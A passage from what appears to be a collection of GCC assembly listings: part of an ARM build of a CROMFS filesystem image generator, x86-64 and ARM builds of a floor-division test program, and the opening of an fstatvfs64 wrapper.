sub r3, r3, #12
sub r3, r3, #12
sub r0, fp, #528
mov r2, r3
ldr r1, [fp, #-1092]
bl lzf_compress
str r0, [fp, #-1088]
ldrb r3, [fp, #-1062] @ zero_extendqisi2
cmp r3, #0
bne .L142
sub r3, fp, #12
sub r3, r3, #1104
sub r3, r3, #10
ldr r2, [fp, #-1092]
strh r2, [r3] @ movhi
b .L143
.L142:
ldrb r3, [fp, #-1061] @ zero_extendqisi2
lsl r3, r3, #8
lsl r3, r3, #16
asr r2, r3, #16
ldrb r3, [fp, #-1060] @ zero_extendqisi2
lsl r3, r3, #16
asr r3, r3, #16
orr r3, r2, r3
lsl r3, r3, #16
asr r2, r3, #16
sub r3, fp, #12
sub r3, r3, #1104
sub r3, r3, #10
strh r2, [r3] @ movhi
.L143:
ldr r3, .L148+8
ldr r0, [r3]
ldr r3, .L148+4
ldr ip, [r3]
ldr r2, [fp, #-1088]
ldr r1, [fp, #-1092]
sub r3, fp, #12
sub r3, r3, #1104
sub r3, r3, #10
ldrh r3, [r3]
str r3, [sp, #8]
str r1, [sp, #4]
str r2, [sp]
ldr r3, [fp, #-1116]
mov r2, ip
ldr r1, .L148+24
bl fprintf
ldr r3, .L148+8
ldr r0, [r3]
sub r3, fp, #1040
sub r3, r3, #12
sub r3, r3, #12
ldr r2, [fp, #-1088]
mov r1, r3
bl dump_hexbuffer
ldr r3, .L148+8
ldr r3, [r3]
mov r0, r3
bl dump_nextline
ldr r2, [fp, #-1124]
ldr r3, [fp, #-1092]
add r3, r2, r3
str r3, [fp, #-1124]
ldr r2, [fp, #-1120]
ldr r3, [fp, #-1088]
add r3, r2, r3
str r3, [fp, #-1120]
ldr r3, .L148+4
ldr r2, [r3]
ldr r3, [fp, #-1088]
add r3, r2, r3
ldr r2, .L148+4
str r3, [r2]
ldr r3, .L148+28
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L148+28
str r3, [r2]
ldr r3, [fp, #-1116]
add r3, r3, #1
str r3, [fp, #-1116]
.L141:
ldr r3, [fp, #-1092]
cmp r3, #0
bne .L144
ldr r2, .L148+8
ldr r3, [fp, #-1108]
str r3, [r2]
ldr r3, .L148+8
ldr r0, [r3]
ldr r3, [fp, #-1120]
str r3, [sp, #4]
ldr r3, [fp, #-1124]
str r3, [sp]
ldr r3, [fp, #-1136]
ldr r2, [fp, #-1112]
ldr r1, .L148+32
bl fprintf
ldr r0, [fp, #-1144]
bl get_mode
mov r3, r0
mvn r3, r3, lsl #17
mvn r3, r3, lsr #17
lsl r3, r3, #16
lsr r2, r3, #16
sub r3, fp, #12
sub r3, r3, #1072
strh r2, [r3] @ movhi
sub r3, fp, #12
sub r3, r3, #1072
mov r2, #0
strh r2, [r3, #2] @ movhi
ldr r3, [fp, #-1112]
add r3, r3, #20
str r3, [fp, #-1112]
ldr r3, [fp, #-1112]
str r3, [fp, #-1080]
ldr r3, [fp, #-1124]
str r3, [fp, #-1076]
ldr r3, [fp, #-1104]
ldr r2, [fp, #-1112]
add r3, r2, r3
str r3, [fp, #-1112]
ldr r3, [fp, #-1112]
str r3, [fp, #-1068]
ldr r2, [fp, #-1112]
ldr r3, [fp, #-1120]
add r3, r2, r3
str r3, [fp, #-1112]
ldrb r3, [fp, #-1145] @ zero_extendqisi2
cmp r3, #0
beq .L145
mov r3, #0
b .L146
.L145:
ldr r3, [fp, #-1112]
.L146:
str r3, [fp, #-1072]
ldr r3, .L148+8
ldr r3, [r3]
sub r1, fp, #1072
sub r1, r1, #12
mov r2, #20
mov r0, r3
bl dump_hexbuffer
ldr r3, .L148+8
ldr r3, [r3]
ldr r2, [fp, #-1104]
ldr r1, [fp, #-1140]
mov r0, r3
bl dump_hexbuffer
ldr r3, .L148+8
ldr r3, [r3]
mov r0, r3
bl dump_nextline
ldr r3, .L148+36
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L148+36
str r3, [r2]
ldr r3, .L148+8
ldr r3, [r3]
ldr r1, [fp, #-1100]
mov r0, r3
bl append_tmpfile
nop
ldr r3, .L148
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L147
bl __stack_chk_fail
.L147:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L149:
.align 2
.L148:
.word .LC32
.word g_offset
.word g_tmpstream
.word .LC28
.word stderr
.word .LC29
.word .LC30
.word g_nblocks
.word .LC31
.word g_nnodes
.size gen_file, .-gen_file
.section .rodata
.align 2
.LC33:
.ascii "%s/%s\000"
.align 2
.LC34:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type dir_notempty, %function
dir_notempty:
@ args = 0, pretend = 0, frame = 128
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #128
str r0, [fp, #-128]
str r1, [fp, #-132]
str r2, [fp, #-136]
strb r3, [fp, #-137]
ldr r3, .L157
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r0, fp, #120
ldr r3, [fp, #-132]
ldr r2, [fp, #-128]
ldr r1, .L157+4
bl asprintf
str r0, [fp, #-116]
ldr r3, [fp, #-120]
sub r2, fp, #108
mov r1, r2
mov r0, r3
bl stat
str r0, [fp, #-116]
ldr r3, [fp, #-116]
cmp r3, #0
bge .L151
bl __errno_location
mov r3, r0
ldr r3, [r3]
str r3, [fp, #-112]
ldr r3, .L157+8
ldr r4, [r3]
ldr r5, [fp, #-120]
ldr r0, [fp, #-112]
bl strerror
mov r3, r0
mov r2, r5
ldr r1, .L157+12
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L151:
ldr r3, [fp, #-120]
mov r0, r3
bl free
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #32768
beq .L152
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #16384
bne .L153
.L152:
mov r3, #1
b .L155
.L153:
mov r3, #0
.L155:
ldr r2, .L157
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L156
bl __stack_chk_fail
.L156:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L158:
.align 2
.L157:
.word .LC34
.word .LC33
.word stderr
.word .LC3
.size dir_notempty, .-dir_notempty
.section .rodata
.align 2
.LC35:
.ascii "ERROR: Directory entry %s does not exist\012\000"
.align 2
.LC36:
.ascii "Omitting entry %s\012\000"
.align 2
.LC37:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type process_direntry, %function
process_direntry:
@ args = 0, pretend = 0, frame = 128
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #128
str r0, [fp, #-128]
str r1, [fp, #-132]
str r2, [fp, #-136]
strb r3, [fp, #-137]
ldr r3, .L168
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r0, fp, #120
ldr r3, [fp, #-132]
ldr r2, [fp, #-128]
ldr r1, .L168+4
bl asprintf
str r0, [fp, #-116]
ldr r3, [fp, #-120]
sub r2, fp, #108
mov r1, r2
mov r0, r3
bl stat
str r0, [fp, #-116]
ldr r3, [fp, #-116]
cmp r3, #0
bge .L160
bl __errno_location
mov r3, r0
ldr r3, [r3]
str r3, [fp, #-112]
ldr r3, [fp, #-112]
cmp r3, #2
bne .L161
ldr r3, .L168+8
ldr r3, [r3]
ldr r2, [fp, #-120]
ldr r1, .L168+12
mov r0, r3
bl fprintf
b .L162
.L161:
ldr r3, .L168+8
ldr r4, [r3]
ldr r5, [fp, #-120]
ldr r0, [fp, #-112]
bl strerror
mov r3, r0
mov r2, r5
ldr r1, .L168+16
mov r0, r4
bl fprintf
.L162:
bl show_usage
b .L163
.L160:
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #16384
bne .L164
ldr r0, [fp, #-120]
ldr r2, [fp, #-92]
ldrb r3, [fp, #-137] @ zero_extendqisi2
ldr r1, [fp, #-132]
bl gen_directory
b .L163
.L164:
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #32768
bne .L165
ldr r0, [fp, #-120]
ldr r2, [fp, #-92]
ldrb r3, [fp, #-137] @ zero_extendqisi2
ldr r1, [fp, #-132]
bl gen_file
b .L163
.L165:
ldr r3, .L168+8
ldr r3, [r3]
ldr r2, [fp, #-120]
ldr r1, .L168+20
mov r0, r3
bl fprintf
.L163:
ldr r3, [fp, #-120]
mov r0, r3
bl free
mov r3, #0
ldr r2, .L168
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L167
bl __stack_chk_fail
.L167:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L169:
.align 2
.L168:
.word .LC37
.word .LC33
.word stderr
.word .LC35
.word .LC3
.word .LC36
.size process_direntry, .-process_direntry
.section .rodata
.align 2
.LC38:
.ascii "ERROR: opendir(%s) failed: %s\012\000"
.align 2
.LC39:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type traverse_directory, %function
traverse_directory:
@ args = 0, pretend = 0, frame = 288
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #292
str r0, [fp, #-288]
str r1, [fp, #-292]
str r2, [fp, #-296]
ldr r3, .L178
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-280]
ldr r0, [fp, #-288]
bl opendir
str r0, [fp, #-276]
ldr r3, [fp, #-276]
cmp r3, #0
bne .L171
ldr r3, .L178+4
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
ldr r2, [fp, #-288]
ldr r1, .L178+8
mov r0, r4
bl fprintf
bl show_usage
.L171:
ldr r0, [fp, #-276]
bl readdir
str r0, [fp, #-284]
b .L172
.L174:
ldr r3, [fp, #-284]
add r1, r3, #11
sub r3, fp, #272
mov r2, #256
mov r0, r3
bl strncpy
ldr r0, [fp, #-276]
bl readdir
str r0, [fp, #-284]
sub r3, fp, #272
ldr r1, .L178+12
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
beq .L172
sub r3, fp, #272
ldr r1, .L178+16
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
beq .L172
ldr r3, [fp, #-284]
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
sub r1, fp, #272
ldr r4, [fp, #-292]
ldr r2, [fp, #-296]
ldr r0, [fp, #-288]
blx r4
str r0, [fp, #-280]
ldr r3, [fp, #-280]
cmp r3, #0
bne .L177
.L172:
ldr r3, [fp, #-284]
cmp r3, #0
bne .L174
b .L173
.L177:
nop
.L173:
ldr r0, [fp, #-276]
bl closedir
ldr r3, [fp, #-280]
ldr r2, .L178
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L176
bl __stack_chk_fail
.L176:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L179:
.align 2
.L178:
.word .LC39
.word stderr
.word .LC38
.word .LC24
.word .LC25
.size traverse_directory, .-traverse_directory
.section .rodata
.align 2
.LC40:
.ascii "Unexpected number of arguments\012\000"
.align 2
.LC41:
.ascii "w\000"
.align 2
.LC42:
.ascii "open %s failed: %s\012\000"
.align 2
.LC43:
.ascii "/* CROMFS image */\012\012\000"
.align 2
.LC44:
.ascii "const uint8_t aligned_data(4) g_cromfs_image[] =\012"
.ascii "\000"
.align 2
.LC45:
.ascii "{\012\000"
.align 2
.LC46:
.ascii " /* Offset %6lu: Volume header */\012\012\000"
.align 2
.LC47:
.ascii "\012 /* Offset %6lu: Root directory */\012\000"
.align 2
.LC48:
.ascii "};\012\000"
.align 2
.LC49:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
ldr r3, .L188
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, [fp, #-52]
ldr r3, [r3]
mov r1, #47
mov r0, r3
bl strrchr
str r0, [fp, #-44]
ldr r3, [fp, #-44]
cmp r3, #0
bne .L181
ldr r3, [fp, #-52]
ldr r3, [r3]
b .L182
.L181:
ldr r3, [fp, #-44]
add r3, r3, #1
.L182:
ldr r2, .L188+4
str r3, [r2]
ldr r3, [fp, #-48]
cmp r3, #3
beq .L183
ldr r3, .L188+8
ldr r3, [r3]
mov r2, #31
mov r1, #1
ldr r0, .L188+12
bl fwrite
bl show_usage
.L183:
ldr r3, [fp, #-52]
ldr r3, [r3, #4]
ldr r2, .L188+16
str r3, [r2]
ldr r3, [fp, #-52]
ldr r3, [r3, #8]
ldr r2, .L188+20
str r3, [r2]
bl verify_directory
bl verify_outfile
ldr r3, .L188+20
ldr r3, [r3]
ldr r1, .L188+24
mov r0, r3
bl fopen
mov r3, r0
ldr r2, .L188+28
str r3, [r2]
ldr r3, .L188+28
ldr r3, [r3]
cmp r3, #0
bne .L184
ldr r3, .L188+8
ldr r4, [r3]
ldr r3, .L188+20
ldr r5, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r5
ldr r1, .L188+32
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L184:
bl open_tmpfile
mov r3, r0
ldr r2, .L188+36
str r3, [r2]
bl init_outfile
ldr r3, .L188+40
mov r2, #20
str r2, [r3]
ldr r3, .L188+44
mov r2, #20
str r2, [r3]
ldr r3, .L188+48
mov r2, #20
str r2, [r3]
ldr r3, .L188+16
ldr r3, [r3]
mov r2, #0
ldr r1, .L188+52
mov r0, r3
bl traverse_directory
str r0, [fp, #-40]
ldr r3, .L188+44
ldr r1, [r3]
ldr r3, [fp, #-40]
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r2, r3
ldr r0, .L188+56
bl gen_dirlink
ldr r3, [fp, #-40]
cmp r3, #0
beq .L185
ldr r3, .L188+16
ldr r3, [r3]
mov r2, #0
ldr r1, .L188+60
mov r0, r3
bl traverse_directory
.L185:
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #20
mov r1, #1
ldr r0, .L188+64
bl fwrite
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #49
mov r1, #1
ldr r0, .L188+68
bl fwrite
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #2
mov r1, #1
ldr r0, .L188+72
bl fwrite
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #0
ldr r1, .L188+76
mov r0, r3
bl fprintf
ldr r3, .L188+80
str r3, [fp, #-36]
ldr r3, .L188+84
ldr r3, [r3]
lsl r3, r3, #16
lsr r3, r3, #16
strh r3, [fp, #-32] @ movhi
ldr r3, .L188+88
ldr r3, [r3]
lsl r3, r3, #16
lsr r3, r3, #16
strh r3, [fp, #-30] @ movhi
mov r3, #20
str r3, [fp, #-28]
ldr r3, .L188+40
ldr r3, [r3]
str r3, [fp, #-24]
mov r3, #512
str r3, [fp, #-20]
ldr r3, .L188+28
ldr r3, [r3]
sub r1, fp, #36
mov r2, #20
mov r0, r3
bl dump_hexbuffer
ldr r3, .L188+28
ldr r3, [r3]
mov r0, r3
bl dump_nextline
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #20
ldr r1, .L188+92
mov r0, r3
bl fprintf
ldr r3, .L188+28
ldr r3, [r3]
ldr r2, .L188+36
ldr r2, [r2]
mov r1, r2
mov r0, r3
bl append_tmpfile
ldr r3, .L188+28
ldr r3, [r3]
mov r2, #3
mov r1, #1
ldr r0, .L188+96
bl fwrite
ldr r3, .L188+28
ldr r3, [r3]
mov r0, r3
bl fclose
bl unlink_tmpfiles
mov r3, #0
ldr r2, .L188
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L187
bl __stack_chk_fail
.L187:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L189:
.align 2
.L188:
.word .LC49
.word g_progname
.word stderr
.word .LC40
.word g_dirname
.word g_outname
.word .LC41
.word g_outstream
.word .LC42
.word g_tmpstream
.word g_offset
.word g_diroffset
.word g_parent_offset
.word dir_notempty
.word .LC24
.word process_direntry
.word .LC43
.word .LC44
.word .LC45
.word .LC46
.word 1297044035
.word g_nnodes
.word g_nblocks
.word .LC47
.word .LC48
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "29046.c"
.intel_syntax noprefix
.text
.globl floordivmod
.type floordivmod, @function
floordivmod:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov QWORD PTR -16[rbp], rdx
mov QWORD PTR -24[rbp], rcx
cmp DWORD PTR -8[rbp], 0
jne .L2
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], 0
jmp .L1
.L2:
cmp DWORD PTR -8[rbp], 0
jns .L4
neg DWORD PTR -4[rbp]
neg DWORD PTR -8[rbp]
.L4:
cmp DWORD PTR -4[rbp], 0
js .L5
mov eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -8[rbp]
mov edx, eax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -8[rbp]
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
jmp .L1
.L5:
mov eax, DWORD PTR -4[rbp]
neg eax
cdq
idiv DWORD PTR -8[rbp]
neg eax
mov edx, eax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -4[rbp]
neg eax
cdq
idiv DWORD PTR -8[rbp]
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
je .L1
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR [rax]
lea edx, -1[rax]
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -24[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
sub eax, ecx
mov edx, eax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
.L1:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size floordivmod, .-floordivmod
.globl floordivmodc
.type floordivmodc, @function
floordivmodc:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov QWORD PTR -16[rbp], rdx
mov QWORD PTR -24[rbp], rcx
cmp DWORD PTR -8[rbp], 0
jne .L7
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], 0
jmp .L6
.L7:
cmp DWORD PTR -8[rbp], 0
jns .L9
neg DWORD PTR -4[rbp]
neg DWORD PTR -8[rbp]
.L9:
mov eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -8[rbp]
mov edx, eax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -8[rbp]
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jns .L6
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR [rax]
lea edx, -1[rax]
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -24[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
add edx, eax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
.L6:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size floordivmodc, .-floordivmodc
.section .rodata
.LC0:
.string "%d %d %d %d %d %d\n"
.text
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -16[rbp], -10000
mov DWORD PTR -12[rbp], 10000
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -24[rbp], eax
jmp .L11
.L16:
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -20[rbp], eax
jmp .L12
.L15:
lea rcx, -36[rbp]
lea rdx, -40[rbp]
mov esi, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
mov edi, eax
call floordivmod
lea rcx, -28[rbp]
lea rdx, -32[rbp]
mov esi, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
mov edi, eax
call floordivmodc
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -32[rbp]
cmp edx, eax
jne .L13
mov edx, DWORD PTR -36[rbp]
mov eax, DWORD PTR -28[rbp]
cmp edx, eax
je .L14
.L13:
mov esi, DWORD PTR -28[rbp]
mov r8d, DWORD PTR -32[rbp]
mov edi, DWORD PTR -36[rbp]
mov ecx, DWORD PTR -40[rbp]
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
sub rsp, 8
push rsi
mov r9d, r8d
mov r8d, edi
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add rsp, 16
.L14:
add DWORD PTR -20[rbp], 1
.L12:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -12[rbp]
jl .L15
add DWORD PTR -24[rbp], 1
.L11:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -12[rbp]
jle .L16
mov eax, 0
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L18
call __stack_chk_fail@PLT
.L18:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "29046.c"
.text
.global __aeabi_idiv
.global __aeabi_idivmod
.align 2
.global floordivmod
.syntax unified
.arm
.fpu softvfp
.type floordivmod, %function
floordivmod:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
str r3, [fp, #-20]
ldr r3, [fp, #-12]
cmp r3, #0
bne .L2
ldr r3, [fp, #-16]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-20]
mov r2, #0
str r2, [r3]
b .L1
.L2:
ldr r3, [fp, #-12]
cmp r3, #0
bge .L4
ldr r3, [fp, #-8]
rsb r3, r3, #0
str r3, [fp, #-8]
ldr r3, [fp, #-12]
rsb r3, r3, #0
str r3, [fp, #-12]
.L4:
ldr r3, [fp, #-8]
cmp r3, #0
blt .L5
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl __aeabi_idiv
mov r3, r0
mov r2, r3
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
mov r2, r3
ldr r3, [fp, #-20]
str r2, [r3]
b .L1
.L5:
ldr r3, [fp, #-8]
rsb r3, r3, #0
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
rsb r2, r3, #0
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
rsb r3, r3, #0
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
mov r2, r3
ldr r3, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3]
cmp r3, #0
beq .L1
ldr r3, [fp, #-16]
ldr r3, [r3]
sub r2, r3, #1
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3]
ldr r2, [fp, #-12]
sub r2, r2, r3
ldr r3, [fp, #-20]
str r2, [r3]
.L1:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size floordivmod, .-floordivmod
.align 2
.global floordivmodc
.syntax unified
.arm
.fpu softvfp
.type floordivmodc, %function
floordivmodc:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
str r3, [fp, #-20]
ldr r3, [fp, #-12]
cmp r3, #0
bne .L7
ldr r3, [fp, #-16]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-20]
mov r2, #0
str r2, [r3]
b .L6
.L7:
ldr r3, [fp, #-12]
cmp r3, #0
bge .L9
ldr r3, [fp, #-8]
rsb r3, r3, #0
str r3, [fp, #-8]
ldr r3, [fp, #-12]
rsb r3, r3, #0
str r3, [fp, #-12]
.L9:
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl __aeabi_idiv
mov r3, r0
mov r2, r3
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
mov r2, r3
ldr r3, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3]
cmp r3, #0
bge .L6
ldr r3, [fp, #-16]
ldr r3, [r3]
sub r2, r3, #1
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r2, [r3]
ldr r3, [fp, #-12]
add r2, r2, r3
ldr r3, [fp, #-20]
str r2, [r3]
.L6:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size floordivmodc, .-floordivmodc
.section .rodata
.align 2
.LC0:
.ascii "%d %d %d %d %d %d\012\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
ldr r3, .L19
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L19+4
str r3, [fp, #-16]
ldr r3, .L19+8
str r3, [fp, #-12]
ldr r3, [fp, #-16]
str r3, [fp, #-24]
b .L11
.L16:
ldr r3, [fp, #-16]
str r3, [fp, #-20]
b .L12
.L15:
sub r3, fp, #36
sub r2, fp, #40
ldr r1, [fp, #-20]
ldr r0, [fp, #-24]
bl floordivmod
sub r3, fp, #28
sub r2, fp, #32
ldr r1, [fp, #-20]
ldr r0, [fp, #-24]
bl floordivmodc
ldr r2, [fp, #-40]
ldr r3, [fp, #-32]
cmp r2, r3
bne .L13
ldr r2, [fp, #-36]
ldr r3, [fp, #-28]
cmp r2, r3
beq .L14
.L13:
ldr r0, [fp, #-40]
ldr r3, [fp, #-36]
ldr r2, [fp, #-32]
ldr r1, [fp, #-28]
str r1, [sp, #8]
str r2, [sp, #4]
str r3, [sp]
mov r3, r0
ldr r2, [fp, #-20]
ldr r1, [fp, #-24]
ldr r0, .L19+12
bl printf
.L14:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L12:
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
cmp r2, r3
blt .L15
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L11:
ldr r2, [fp, #-24]
ldr r3, [fp, #-12]
cmp r2, r3
ble .L16
mov r3, #0
ldr r2, .L19
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L18
bl __stack_chk_fail
.L18:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word .LC1
.word -10000
.word 10000
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "191996.c"
.intel_syntax noprefix
.text
.globl fstatvfs64
.type fstatvfs64, @function
fstatvfs64:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov rdx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -4[rbp]
mov rsi, rdx
mov edi, eax
mov eax, 0
